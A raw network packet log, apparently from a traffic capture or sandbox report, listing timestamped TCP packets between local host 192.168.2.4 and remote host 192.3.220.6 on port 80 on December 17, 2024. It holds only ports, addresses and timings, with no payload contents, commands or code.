Dec 17, 2024 03:51:59.767612934 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.767661095 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.767849922 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.767894983 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.769133091 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.769181967 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.898777962 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.898878098 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.899133921 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.899311066 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.899400949 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.899456978 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.899626970 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.899626970 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.900747061 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.900780916 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.900827885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.900829077 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.901806116 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.901839018 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.901866913 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.901896954 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.903064013 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.903095961 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.903121948 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.903156042 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.904119015 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.904175043 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.904228926 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.904284954 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.905272007 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.905329943 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.905405998 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.905457973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.906402111 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.906460047 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.906505108 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.906562090 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.907649040 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.907707930 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.907773018 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.907830954 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.909399033 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.909432888 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.909456968 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.909487963 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.909980059 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.910037994 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.910267115 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.910320997 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.911160946 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.911216974 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.911261082 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.911330938 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.912530899 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.912585020 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.912590027 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.912636995 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.913646936 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.913681030 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.913703918 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.913732052 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.914705992 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.914762020 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.914989948 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.915046930 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.916047096 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.916099072 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.916104078 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.916153908 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.917093992 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.917150021 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.917294979 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.917352915 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.918298960 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.918358088 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.918390989 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.918447018 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.919451952 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.919511080 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.919600010 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.919666052 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.920799971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.920834064 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.920860052 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.920888901 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.921864033 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.921916008 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.921920061 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.921962976 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.922996044 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.923058987 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.923356056 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.923413992 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.924443960 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.924479008 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.924499989 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.924531937 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.925533056 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.925565958 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.925590038 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.925623894 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.926601887 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.926656961 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.926666975 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.926728010 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.927743912 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.927803040 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.927844048 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.927901983 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.929063082 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.929096937 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.929120064 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.929157019 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.930201054 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.930260897 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.930321932 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.930382967 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.931410074 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.931459904 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.931467056 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.931507111 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.932497978 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.932558060 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.932657003 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.932719946 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.933722019 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.933775902 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.933864117 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.933919907 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.934861898 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.934921026 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.934966087 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.935019970 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.936028004 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.936084986 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.936155081 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.936213970 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.937221050 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.937275887 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.937355995 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.937407970 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.938405991 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.938462973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.938553095 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.938608885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.939580917 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.939640999 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.939702034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.939759970 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.940768957 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.940828085 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.940886021 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.940941095 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.941957951 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.942015886 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.942065001 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.942125082 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.943140984 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.943211079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.943269968 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.943346977 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.944323063 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.944375038 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.944457054 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.944516897 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.945539951 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.945595980 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.945652962 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.945703030 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.946669102 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.946731091 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.946770906 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.946815014 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.947851896 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.947916985 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.947957039 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.948007107 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.949053049 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.949105024 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.949147940 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.949198961 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.950229883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.950283051 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.950325966 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.950388908 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.951412916 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.951462030 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.951507092 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.951556921 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.952596903 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.952647924 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.952686071 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.952733040 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.953783035 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.953833103 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.953890085 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.953939915 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.954972982 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.955023050 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.955113888 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.955164909 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.956152916 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.956202984 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.956242085 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.956290960 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.957357883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.957412004 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.957454920 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.957501888 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.958560944 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.958607912 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.958647013 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.958698034 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.959726095 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.959775925 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.959819078 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.959863901 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.960890055 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.960937023 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.091809988 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.091918945 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.092061996 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.092118025 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.092124939 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.092164993 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.092288971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.092359066 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.093300104 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.093357086 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.093403101 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.093466043 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.094468117 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.094522953 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.094557047 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.094610929 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.095691919 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.095752954 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.095835924 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.095885992 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.096846104 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.096898079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.096980095 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.097033978 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.098045111 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.098098040 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.098144054 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.098197937 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.099240065 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.099293947 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.099332094 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.099383116 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.100410938 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.100480080 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.100522041 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.100575924 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.101599932 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.101653099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.101696014 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.101746082 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.102781057 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.102844954 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.102889061 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.102936029 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.103980064 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.104049921 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.104074001 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.104127884 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.105158091 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.105218887 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.105266094 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.105314970 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.106354952 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.106409073 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.106436014 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.106497049 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.107539892 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.107603073 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.107644081 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.107695103 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.108712912 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.108766079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.108870983 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.108923912 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.109905005 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.109956026 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.109997034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.110048056 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.111219883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.111268997 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.111323118 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.111378908 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.112277985 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.112329960 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.112370014 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.112420082 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.113456964 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.113507032 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.113554955 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.113601923 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.114650965 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.114701986 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.114850998 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.114903927 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.115835905 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.115895987 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.115938902 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.115983009 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.117011070 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.117088079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.117121935 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.117172003 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.118196964 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.118262053 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.118299007 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.118350029 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.119384050 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.119446039 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.119487047 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.119545937 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.120558977 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.120610952 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.120656967 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.120714903 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.121753931 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.121809959 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.121853113 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.121892929 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.122931957 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.122983932 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.123023987 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.123070002 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.124128103 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.124178886 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.124218941 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.124268055 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.125318050 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.125366926 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.125416040 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.125463009 CET	49730	80	192.168.2.4	192.3.220.6
